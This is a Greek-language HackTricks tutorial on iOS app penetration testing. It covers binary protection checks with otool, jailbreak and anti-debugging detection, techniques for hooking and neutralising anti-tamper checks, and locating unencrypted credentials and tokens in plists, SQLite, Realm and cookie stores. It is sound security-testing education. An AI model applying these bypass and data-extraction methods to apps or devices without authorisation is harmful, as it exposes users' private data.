iOS Pentesting
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
iOS Βασικά
Περιβάλλον Δοκιμών
Σε αυτή τη σελίδα μπορείτε να βρείτε πληροφορίες για τον iOS simulator, τους emulators και το jailbreaking:
Αρχική Ανάλυση
Basic iOS Testing Operations
Κατά τη διάρκεια των δοκιμών θα προταθούν πολλές ενέργειες (σύνδεση με τη συσκευή, ανάγνωση/εγγραφή/ανέβασμα/κατέβασμα αρχείων, χρήση εργαλείων…). Επομένως, αν δεν ξέρετε πώς να εκτελέσετε κάποια από αυτές τις ενέργειες παρακαλώ, ξεκινήστε διαβάζοντας τη σελίδα:
Tip
Για τα επόμενα βήματα η εφαρμογή πρέπει να είναι εγκατεστημένη στη συσκευή και πρέπει να έχετε ήδη αποκτήσει το IPA file της εφαρμογής.
Read the Basic iOS Testing Operations page to learn how to do this.
Basic Static Analysis
Μερικά ενδιαφέροντα decompilers για iOS - αρχεία IPA:
Συνιστάται η χρήση του εργαλείου MobSF για την αυτοματοποιημένη Στατική Ανάλυση του IPA αρχείου.
Identification of protections are present in the binary:
- PIE (Position Independent Executable): Όταν είναι ενεργοποιημένο, η εφαρμογή φορτώνεται σε τυχαία διεύθυνση μνήμης κάθε φορά που εκκινεί, δυσκολεύοντας την πρόβλεψη της αρχικής διεύθυνσης μνήμης.
otool -hv <app-binary> | grep PIE # It should include the PIE flag
- Stack Canaries: Για να επαληθευτεί η ακεραιότητα του stack, μια τιμή ‘canary’ τοποθετείται στο stack πριν την κλήση μιας συνάρτησης και ελέγχεται ξανά όταν τελειώνει η συνάρτηση.
otool -I -v <app-binary> | grep stack_chk # It should include the symbols: stack_chk_guard and stack_chk_fail
- ARC (Automatic Reference Counting): Για την πρόληψη κοινών σφαλμάτων διαχείρισης μνήμης
otool -I -v <app-binary> | grep objc_release # It should include the _objc_release symbol
- Encrypted Binary: Το binary θα πρέπει να είναι κρυπτογραφημένο
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # The cryptid should be 1
Identification of Sensitive/Insecure Funcions
- Weak Hashing Algorithms
# On the iOS device
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"
# On linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
- Insecure Random Functions
# On the iOS device
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"
# On linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
- Insecure ‘Malloc’ Function
# On the iOS device
otool -Iv <app> | grep -w "_malloc"
# On linux
grep -iER "_malloc"
- Insecure and Vulnerable Functions
# On the iOS device
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"
# On linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"
Συνηθισμένες μέθοδοι ανίχνευσης jailbreak
- File System Checks: Ελέγξτε για την παρουσία κοινών αρχείων/φακέλων jailbreak, όπως
/Applications/Cydia.appή/Library/MobileSubstrate/MobileSubstrate.dylib. - Sandbox Violations: Προσπαθήστε να αποκτήσετε πρόσβαση σε περιορισμένες περιοχές του file system, που θα πρέπει να μπλοκάρονται σε μη-jailbroken συσκευές.
- API Checks: Ελέγξτε αν είναι δυνατό να χρησιμοποιηθούν απαγορευμένες κλήσεις όπως
fork()για δημιουργία child process ήsystem()για να δείτε αν υπάρχει /bin/sh. - Process Checks: Παρακολουθήστε για την παρουσία γνωστών διαδικασιών σχετικών με jailbreak, όπως
Cydia,Substrate, ήssh. - Kernel Exploits: Ελέγξτε για την παρουσία kernel exploits που συνήθως χρησιμοποιούνται σε jailbreaks.
- Environment Variables: Εξετάστε τις environment variables για ενδείξεις jailbreak, όπως
DYLD_INSERT_LIBRARIES. - Libraries Check: Ελέγξτε τις libs που έχουν φορτωθεί μέσα στη διεργασία της εφαρμογής.
- Check schemes: Όπως
canOpenURL(URL(string: "cydia://")).
Συνηθισμένες μέθοδοι ανίχνευσης Anti-Debugging
- Check for Debugger Presence: Χρησιμοποιήστε
sysctlή άλλες μεθόδους για να ελέγξετε αν υπάρχει συνδεδεμένος debugger. - Anti-Debugging APIs: Αναζητήστε κλήσεις σε anti-debugging APIs όπως
ptraceήSIGSTOPόπωςptrace(PT_DENY_ATTACH, 0, 0, 0). - Timing Checks: Μετρήστε το χρόνο που απαιτείται για συγκεκριμένες ενέργειες και αναζητήστε ανωμαλίες που μπορεί να υποδεικνύουν debugging.
- Memory Checks: Επιθεωρήστε τη μνήμη για γνωστά artifacts debugger ή τροποποιήσεις.
- Environment Variables: Ελέγξτε για environment variables που μπορεί να υποδεικνύουν συνεδρία debugging.
- Mach Ports: Ανιχνεύστε αν χρησιμοποιούνται mach exception ports από debuggers.
Anti-Debugging & Anti-Tamper Techniques (Layered Checks)
Οι πραγματικές εφαρμογές συχνά στρώνουν pre-exec, on-attach και συνεχή checks. Κοινά pattern που πρέπει να αναζητήσετε (και πώς να τα ουδετεροποιήσετε κατά τη διάρκεια της δοκιμής):
- Private API side-channel fingerprinting: private launch APIs (π.χ.
SBSLaunchApplicationWithIdentifierAndURLAndLaunchOptions) χρησιμοποιούνται για να ελέγξουν εγκατεστημένα bundle IDs (com.opa334.TrollStore,org.coolstar.SileoStore,com.tigisoftware.Filza, κ.λπ.) βασισμένα σε return codes/logging. Hook the call και καθαρίστε τα ορίσματα/τιμές επιστροφής για να προσομοιώσετε μια καθαρή συσκευή. - Self-attestation via code-signing state:
csops()μεCS_OPS_ENTITLEMENTS_BLOBδιαβάζει entitlements; απροσδόκητες τιμές ενεργοποιούν έξοδο. Συνδυάζεται με integrity checks (CRC32/MD5 πόρων, επαλήθευση πιστοποιητικού, Mach-O metadata όπωςLC_ENCRYPTION_INFO_64) για να ανιχνεύσει re-signing ή patching. Instrument αυτές τις ρουτίνες και δώστε τα “αναμενόμενα” αποτελέσματα κατά την ανάλυση. - Kill-on-attach:
ptrace(PT_DENY_ATTACH)σε συνδυασμό μεabort()/exit()κατά την attach. Bypass neutralizing τη διαδρομή τερματισμού ή hook τοptraceώστε να επιτυγχάνει χωρίς να επιβάλλει denial. - Crash forensics sabotage: Επικαλύψτε CPU registers πριν το crash για να καταστρέψετε backtraces. Προτιμήστε breakpoints/hooks νωρίτερα στη διαδρομή ανίχνευσης αντί να βασίζεστε σε crash logs.
- Jetsam-based termination: Σκόπιμη πίεση μνήμης για να ενεργοποιήσει jetsam, που δεν παράγει συνηθισμένο crash log. Αναζητήστε μεγάλες allocations γύρω από τη detection λογική και περιορίστε/παρακάμψτε αυτές για να κρατήσετε τα logs.
- Continuous checks with delayed enforcement: Timers/heartbeat που επανεκτελούν ανίχνευση και επιβάλλουν αργότερα. Trace timers/dispatch sources και κρατήστε τη διεργασία ζωντανή παρακάμπτοντας τη διαδρομή delayed kill.
Basic Dynamic Analysis
Δείτε το dynamic analysis που εκτελεί το MobSF. Θα χρειαστεί να πλοηγηθείτε στα διάφορα views και να αλληλεπιδράσετε με αυτά αλλά θα ξεκινήσει hooking πολλών κλάσεων και θα προετοιμάσει μια αναφορά όταν τελειώσετε.
Listing Installed Apps
Χρησιμοποιήστε την εντολή frida-ps -Uai για να προσδιορίσετε το bundle identifier των εγκατεστημένων εφαρμογών:
$ frida-ps -Uai
PID Name Identifier
---- ------------------- -----------------------------------------
6847 Calendar com.apple.mobilecal
6815 Mail com.apple.mobilemail
- App Store com.apple.AppStore
- Apple Store com.apple.store.Jolly
- Calculator com.apple.calculator
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
Basic Enumeration & Hooking
Μάθετε πώς να enumerate the components of the application και πώς να εύκολα hook methods and classes με objection:
Δομή του IPA
Η δομή ενός IPA file είναι ουσιαστικά αυτή ενός zipped package. Με την μετονομασία της κατάληξης σε .zip, μπορεί να decompressed για να αποκαλύψει τα περιεχόμενά του. Μέσα σε αυτή τη δομή, ένα Bundle αντιπροσωπεύει μια πλήρως πακεταρισμένη εφαρμογή έτοιμη για εγκατάσταση. Εσωτερικά, θα βρείτε έναν κατάλογο με το όνομα <NAME>.app, ο οποίος περιλαμβάνει τους πόρους της εφαρμογής.
Info.plist: Αυτό το αρχείο περιέχει συγκεκριμένες ρυθμίσεις της εφαρμογής._CodeSignature/: Αυτός ο κατάλογος περιλαμβάνει ένα plist αρχείο που περιέχει μια υπογραφή, διασφαλίζοντας την ακεραιότητα όλων των αρχείων στο bundle.Assets.car: Ένα συμπιεσμένο αρχείο που αποθηκεύει αρχεία asset όπως icons.Frameworks/: Αυτός ο φάκελος φιλοξενεί τις native βιβλιοθήκες της εφαρμογής, οι οποίες μπορεί να είναι στη μορφή.dylibή.frameworkαρχείων.PlugIns/: Αυτό μπορεί να περιλαμβάνει extensions της εφαρμογής, γνωστά ως.appexαρχεία, αν και δεν υπάρχουν πάντα. *Core Data: It is used to save your application’s permanent data for offline use, to cache temporary data, and to add undo functionality to your app on a single device. To sync data across multiple devices in a single iCloud account, Core Data automatically mirrors your schema to a CloudKit container.PkgInfo: Το αρχείοPkgInfoείναι ένας εναλλακτικός τρόπος για να καθορίσετε τους κωδικούς τύπου και δημιουργού της εφαρμογής ή του bundle σας.- en.lproj, fr.proj, Base.lproj: Είναι τα language packs που περιέχουν πόρους για αυτές τις συγκεκριμένες γλώσσες, και έναν προεπιλεγμένο πόρο σε περίπτωση που μια γλώσσα δεν υποστηρίζεται.
- Security: Ο κατάλογος
_CodeSignature/παίζει κρίσιμο ρόλο στην ασφάλεια της εφαρμογής, επαληθεύοντας την ακεραιότητα όλων των bundled αρχείων μέσω ψηφιακών υπογραφών. - Asset Management: Το αρχείο
Assets.carχρησιμοποιεί συμπίεση για να διαχειρίζεται αποτελεσματικά τα γραφικά assets, κρίσιμο για την βελτιστοποίηση της απόδοσης της εφαρμογής και τη μείωση του συνολικού μεγέθους. - Frameworks and PlugIns: Αυτοί οι κατάλογοι υπογραμμίζουν τη modularity των iOS εφαρμογών, επιτρέποντας στους developers να συμπεριλάβουν επαναχρησιμοποιήσιμες βιβλιοθήκες κώδικα (
Frameworks/) και να επεκτείνουν τη λειτουργικότητα της εφαρμογής (PlugIns/). - Localization: Η δομή υποστηρίζει πολλαπλές γλώσσες, διευκολύνοντας την παγκόσμια πρόσβαση της εφαρμογής με την συμπερίληψη πόρων για συγκεκριμένα language packs.
Info.plist
Το Info.plist χρησιμεύει ως θεμέλιο για τις iOS εφαρμογές, περιλαμβάνοντας κρίσιμα δεδομένα ρύθμισης με τη μορφή key-value ζευγών. Αυτό το αρχείο είναι απαραίτητο όχι μόνο για εφαρμογές αλλά και για app extensions και frameworks που περιλαμβάνονται στο bundle. Είναι δομημένο είτε σε XML είτε σε binary format και περιέχει κρίσιμες πληροφορίες που εκτείνονται από τα δικαιώματα της εφαρμογής έως τις ρυθμίσεις ασφάλειας. Για μια λεπτομερή εξερεύνηση των διαθέσιμων keys, μπορείτε να αναφερθείτε στην Apple Developer Documentation.
Για όσους θέλουν να δουλέψουν με αυτό το αρχείο σε πιο προσβάσιμη μορφή, η μετατροπή σε XML μπορεί να επιτευχθεί εύκολα μέσω της χρήσης του plutil στο macOS (διαθέσιμο εγγενώς σε εκδόσεις 10.2 και νεότερες) ή του plistutil στο Linux. Οι εντολές για τη μετατροπή είναι οι εξής:
- For macOS:
$ plutil -convert xml1 Info.plist
- Για Linux:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Μεταξύ της πληθώρας πληροφοριών που μπορεί να αποκαλύψει το αρχείο Info.plist, σημαντικές εγγραφές περιλαμβάνουν τις συμβολοσειρές δικαιωμάτων της εφαρμογής (UsageDescription), προσαρμοσμένα URL schemes (CFBundleURLTypes) και ρυθμίσεις για το App Transport Security (NSAppTransportSecurity). Αυτές οι εγγραφές, μαζί με άλλες όπως εξαγόμενοι/εισαγόμενοι προσαρμοσμένοι τύποι εγγράφων (UTExportedTypeDeclarations / UTImportedTypeDeclarations), μπορούν να εντοπιστούν εύκολα είτε επιθεωρώντας το αρχείο είτε χρησιμοποιώντας μια απλή εντολή grep:
$ grep -i <keyword> Info.plist
Διαδρομές Δεδομένων
Στο περιβάλλον iOS, οι κατάλογοι προορίζονται ειδικά για συστημικές εφαρμογές και εφαρμογές που εγκαθίστανται από τον χρήστη. Οι συστημικές εφαρμογές βρίσκονται στον κατάλογο /Applications, ενώ οι εφαρμογές που εγκαθίστανται από τον χρήστη τοποθετούνται κάτω από το /var/mobile/containers/Data/Application/. Σε αυτές τις εφαρμογές ανατίθεται ένας μοναδικός αναγνωριστής γνωστός ως 128-bit UUID, καθιστώντας δύσκολη την χειροκίνητη εντόπιση του φακέλου μιας εφαρμογής λόγω της τυχαιότητας των ονομάτων των καταλόγων.
Warning
Εφόσον οι εφαρμογές σε iOS πρέπει να είναι sandboxed, κάθε εφαρμογή θα έχει επίσης έναν φάκελο μέσα στο
$HOME/Library/Containersμε τοCFBundleIdentifierτης εφαρμογής ως όνομα φακέλου.Ωστόσο, και οι δύο φάκελοι (data & container folders) έχουν το αρχείο
.com.apple.mobile_container_manager.metadata.plistπου συνδέει και τους δύο με το κλειδίMCMetadataIdentifier).
Για να διευκολυνθεί η εύρεση του καταλόγου εγκατάστασης μιας εφαρμογής που έχει εγκατασταθεί από χρήστη, το εργαλείο objection παρέχει μια χρήσιμη εντολή, την env. Αυτή η εντολή εμφανίζει λεπτομερείς πληροφορίες καταλόγου για την αντίστοιχη εφαρμογή. Παρακάτω είναι ένα παράδειγμα για το πώς να χρησιμοποιήσετε αυτήν την εντολή:
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
Name Path
----------------- -------------------------------------------------------------------------------------------
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
Εναλλακτικά, το όνομα της εφαρμογής μπορεί να αναζητηθεί μέσα στο /private/var/containers χρησιμοποιώντας την εντολή find:
find /private/var/containers -name "Progname*"
Εντολές όπως ps και lsof μπορούν επίσης να χρησιμοποιηθούν για να εντοπίσουν τη διεργασία της εφαρμογής και να απαριθμήσουν τα ανοιχτά αρχεία, αντίστοιχα, παρέχοντας πληροφορίες για τους ενεργούς καταλόγους της εφαρμογής:
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
Bundle directory:
- AppName.app
- Αυτό είναι το Application Bundle όπως εμφανίστηκε προηγουμένως στο IPA, περιέχει βασικά δεδομένα της εφαρμογής, στατικό περιεχόμενο καθώς και το μεταγλωττισμένο binary της εφαρμογής.
- Αυτός ο κατάλογος είναι ορατός στους χρήστες, αλλά οι χρήστες δεν μπορούν να γράψουν σε αυτόν.
- Το περιεχόμενο σε αυτόν τον κατάλογο δεν συμπεριλαμβάνεται σε backup.
- Το περιεχόμενο αυτού του φακέλου χρησιμοποιείται για την επαλήθευση του code signature.
Data directory:
- Documents/
- Περιέχει όλα τα δεδομένα που δημιουργούνται από τον χρήστη. Ο τελικός χρήστης της εφαρμογής είναι αυτός που ξεκινά τη δημιουργία αυτών των δεδομένων.
- Ορατό στους χρήστες και οι χρήστες μπορούν να γράψουν σε αυτό.
- Το περιεχόμενο σε αυτόν τον κατάλογο συμπεριλαμβάνεται σε backup.
- Η εφαρμογή μπορεί να εξαιρέσει διαδρομές ορίζοντας
NSURLIsExcludedFromBackupKey. - Library/
- Περιέχει όλα τα αρχεία που δεν είναι ειδικά για τον χρήστη, όπως caches, preferences, cookies και αρχεία ρύθμισης τύπου property list (plist).
- Οι iOS εφαρμογές συνήθως χρησιμοποιούν τους υποφακέλους
Application SupportκαιCaches, αλλά η εφαρμογή μπορεί να δημιουργήσει προσαρμοσμένους υποφακέλους. - Library/Caches/
- Περιέχει ημι-επίμονα αρχεία cache.
- Αόρατο στους χρήστες και οι χρήστες δεν μπορούν να γράψουν σε αυτό.
- Το περιεχόμενο σε αυτόν τον κατάλογο δεν συμπεριλαμβάνεται σε backup.
- Το OS μπορεί να διαγράψει αυτόματα αρχεία αυτού του καταλόγου όταν η εφαρμογή δεν τρέχει και ο χώρος αποθήκευσης είναι περιορισμένος.
- Library/Application Support/
- Περιέχει επίμονα αρχεία απαραίτητα για τη λειτουργία της εφαρμογής.
- Αόρατο στους χρήστες και οι χρήστες δεν μπορούν να γράψουν σε αυτό.
- Το περιεχόμενο σε αυτόν τον κατάλογο συμπεριλαμβάνεται σε backup.
- Η εφαρμογή μπορεί να εξαιρέσει διαδρομές ορίζοντας
NSURLIsExcludedFromBackupKey. - Library/Preferences/
- Χρησιμοποιείται για την αποθήκευση ιδιοτήτων που μπορούν να επιβιώσουν ακόμη και μετά την επανεκκίνηση της εφαρμογής.
- Οι πληροφορίες αποθηκεύονται, χωρίς κρυπτογράφηση, μέσα στο sandbox της εφαρμογής σε ένα αρχείο plist ονόματι [BUNDLE_ID].plist.
- Όλα τα ζεύγη κλειδιού/τιμής που αποθηκεύονται χρησιμοποιώντας
NSUserDefaultsμπορούν να βρεθούν σε αυτό το αρχείο. - tmp/
- Χρησιμοποιήστε αυτόν τον κατάλογο για να γράψετε προσωρινά αρχεία που δεν χρειάζεται να διατηρηθούν μεταξύ των εκκινήσεων της εφαρμογής.
- Περιέχει μη-επίμονα αρχεία cache.
- Αόρατο στους χρήστες.
- Το περιεχόμενο σε αυτόν τον κατάλογο δεν συμπεριλαμβάνεται σε backup.
- Το OS μπορεί να διαγράψει αυτόματα αρχεία αυτού του καταλόγου όταν η εφαρμογή δεν τρέχει και ο χώρος αποθήκευσης είναι περιορισμένος.
Ας ρίξουμε μια πιο προσεκτική ματιά στον Application Bundle (.app) του iGoat-Swift μέσα στον κατάλογο Bundle (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
------------ ------- ------------------ ... --------------------------------------
Regular 420 None ... rutger.html
Regular 420 None ... mansi.html
Regular 420 None ... splash.html
Regular 420 None ... about.html
Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
Binary Reversing
Μέσα στον φάκελο <application-name>.app θα βρείτε ένα binary αρχείο με όνομα <application-name>. Αυτό είναι το αρχείο που θα εκτελεστεί. Μπορείτε να κάνετε μια βασική επιθεώρηση του binary με το εργαλείο otool:
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
Ελέγξτε αν η εφαρμογή είναι κρυπτογραφημένη
Δείτε αν υπάρχει κάποια έξοδος για:
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
Disassembling the binary
Disassemble the text section:
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8 sub sp, sp, #0x60
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
0000000100004ac0 add x29, sp, #0x50
0000000100004ac4 sub x8, x29, #0x10
0000000100004ac8 mov x9, #0x0
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
Για να εκτυπώσετε το Objective-C segment της δειγματικής εφαρμογής μπορείτε να χρησιμοποιήσετε:
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache 0x0 __objc_empty_cache
vtable 0x0
data 0x1003de748
flags 0x80
instanceStart 8
Για να αποκτήσετε πιο συμπαγή Objective-C κώδικα μπορείτε να χρησιμοποιήσετε class-dump:
class-dump some-app
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#pragma mark Named Structures
struct CGPoint {
double _field1;
double _field2;
};
struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};
struct CGSize {
double _field1;
double _field2;
};
Ωστόσο, οι καλύτερες επιλογές για την αποσυναρμολόγηση του δυαδικού είναι: Hopper και IDA.
Αποθήκευση Δεδομένων
Για να μάθετε πώς το iOS αποθηκεύει δεδομένα στη συσκευή διαβάστε αυτή τη σελίδα:
Warning
Τα ακόλουθα μέρη αποθήκευσης πληροφοριών πρέπει να ελεγχθούν right after installing the application, after checking all the functionalities της εφαρμογής και ακόμη και μετά login out from one user and login into a different one.
Ο στόχος είναι να βρεθούν unprotected sensitive information της εφαρμογής (passwords, tokens), του τρέχοντος χρήστη και των προηγουμένως συνδεδεμένων χρηστών.
Plist
plist αρχεία είναι δομημένα αρχεία XML που περιέχουν ζεύγη κλειδί-τιμής. Είναι ένας τρόπος για αποθήκευση επίμονων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε sensitive information σε αυτά τα αρχεία. Συνιστάται να ελέγχετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά από εντατική χρήση της για να δείτε αν γράφονται νέα δεδομένα.
Ο πιο συνηθισμένος τρόπος για να διατηρηθούν δεδομένα σε αρχεία plist είναι μέσω της χρήσης του NSUserDefaults. Αυτό το plist αρχείο αποθηκεύεται μέσα στο sandbox της εφαρμογής στο Library/Preferences/<appBundleID>.plist
The NSUserDefaults class provides a programmatic interface for interacting with the default system. Το default σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόζει τη συμπεριφορά της σύμφωνα με τις user preferences. Τα δεδομένα που αποθηκεύονται από NSUserDefaults μπορούν να προβληθούν στο application bundle. Αυτή η κλάση αποθηκεύει data σε ένα plist file, αλλά προορίζεται για χρήση με μικρές ποσότητες δεδομένων.
Αυτά τα δεδομένα δεν μπορούν πλέον να προσπελαστούν απευθείας μέσω ενός trusted computer, αλλά μπορούν να προσπελαστούν κάνοντας ένα backup.
Μπορείτε να dump τις πληροφορίες που αποθηκεύονται χρησιμοποιώντας NSUserDefaults με την εντολή του objection ios nsuserdefaults get
Για να βρείτε όλα τα plist που χρησιμοποιούνται από την εφαρμογή μπορείτε να μεταβείτε στο /private/var/mobile/Containers/Data/Application/{APPID} και να εκτελέσετε:
find ./ -name "*.plist"
Για να μετατρέψετε αρχεία από μορφή XML ή binary (bplist) σε XML, υπάρχουν διάφορες μέθοδοι ανάλογα με το λειτουργικό σας σύστημα:
Για χρήστες macOS: Χρησιμοποιήστε την εντολή plutil. Είναι ένα ενσωματωμένο εργαλείο σε macOS (10.2+), σχεδιασμένο για αυτόν τον σκοπό:
$ plutil -convert xml1 Info.plist
Για χρήστες Linux: Εγκαταστήστε πρώτα το libplist-utils, στη συνέχεια χρησιμοποιήστε το plistutil για να μετατρέψετε το αρχείο σας:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Within an Objection Session: Για την ανάλυση mobile εφαρμογών, μια συγκεκριμένη εντολή σας επιτρέπει να μετατρέψετε αρχεία plist απευθείας:
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
Core Data
Core Data είναι ένα framework για τη διαχείριση του επιπέδου μοντέλου των αντικειμένων στην εφαρμογή σας. Core Data can use SQLite as its persistent store, αλλά το ίδιο το framework δεν είναι βάση δεδομένων.\
CoreData δεν κρυπτογραφεί τα δεδομένα της από προεπιλογή. Ωστόσο, μπορεί να προστεθεί επιπλέον επίπεδο κρυπτογράφησης στο CoreData. Δείτε το GitHub Repo για περισσότερες λεπτομέρειες.
Μπορείτε να βρείτε τις πληροφορίες SQLite Core Data μιας εφαρμογής στη διαδρομή /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support
Αν μπορείτε να ανοίξετε το SQLite και να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες, τότε έχετε βρει μια λανθασμένη διαμόρφωση.
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
NSManagedObjectContext *context =[appDelegate managedObjectContext];
User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);
}else{
NSLog(@"data stored in core data");
}
}
YapDatabase
YapDatabase είναι ένα key/value store χτισμένο πάνω στο SQLite.
Καθώς οι βάσεις Yap είναι βάσεις δεδομένων SQLite, μπορείτε να τις βρείτε χρησιμοποιώντας την εντολή που προτάθηκε στην προηγούμενη ενότητα.
Other SQLite Databases
Είναι συνηθισμένο οι εφαρμογές να δημιουργούν τη δική τους βάση δεδομένων SQLite. Μπορεί να αποθηκεύουν ευαίσθητα δεδομένα σε αυτές και να τα αφήνουν χωρίς κρυπτογράφηση. Για αυτό είναι πάντα ενδιαφέρον να ελέγχετε κάθε βάση δεδομένων μέσα στον φάκελο της εφαρμογής. Πηγαίνετε λοιπόν στον φάκελο της εφαρμογής όπου αποθηκεύονται τα δεδομένα (/private/var/mobile/Containers/Data/Application/{APPID})
find ./ -name "*.sqlite" -or -name "*.db"
Firebase Real-Time Databases
Οι προγραμματιστές μπορούν να store and sync data μέσα σε μια NoSQL cloud-hosted database μέσω του Firebase Real-Time Databases. Αποθηκευμένα σε μορφή JSON, τα δεδομένα συγχρονίζονται σε όλους τους συνδεδεμένους πελάτες σε πραγματικό χρόνο.
You can find how to check for misconfigured Firebase databases here:
Realm databases
Realm Objective-C και Realm Swift προσφέρουν μια ισχυρή εναλλακτική για αποθήκευση δεδομένων, που δεν παρέχεται από την Apple. Από προεπιλογή, αποθηκεύουν τα δεδομένα μη κρυπτογραφημένα, με κρυπτογράφηση διαθέσιμη μέσω συγκεκριμένης ρύθμισης.
The databases are located at: /private/var/mobile/Containers/Data/Application/{APPID}. Για να εξερευνήσει κανείς αυτά τα αρχεία, μπορεί να χρησιμοποιήσει εντολές όπως:
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
$ find ./ -name "*.realm*"
Για την προβολή αυτών των αρχείων βάσεων δεδομένων προτείνεται το εργαλείο Realm Studio.
Για να υλοποιήσετε κρυπτογράφηση σε μια βάση δεδομένων Realm, μπορείτε να χρησιμοποιήσετε το ακόλουθο απόσπασμα κώδικα:
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
Couchbase Lite Βάσεις Δεδομένων
Couchbase Lite περιγράφεται ως ελαφριά και ενσωματωμένη μηχανή βάσης δεδομένων που ακολουθεί την προσέγγιση προσανατολισμένη στα έγγραφα (NoSQL). Σχεδιασμένη για iOS και macOS, προσφέρει τη δυνατότητα απρόσκοπτου συγχρονισμού δεδομένων.
Για να εντοπιστούν πιθανές Couchbase βάσεις δεδομένων σε μια συσκευή, πρέπει να ελεγχθεί ο ακόλουθος φάκελος:
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
Cookies
iOS αποθηκεύει τα cookies των εφαρμογών στο Library/Cookies/cookies.binarycookies μέσα σε κάθε φάκελο εφαρμογής. Ωστόσο, μερικοί developers αποφασίζουν να τα αποθηκεύσουν στο keychain, καθώς το αναφερόμενο cookie file μπορεί να προσπελαστεί από backups.
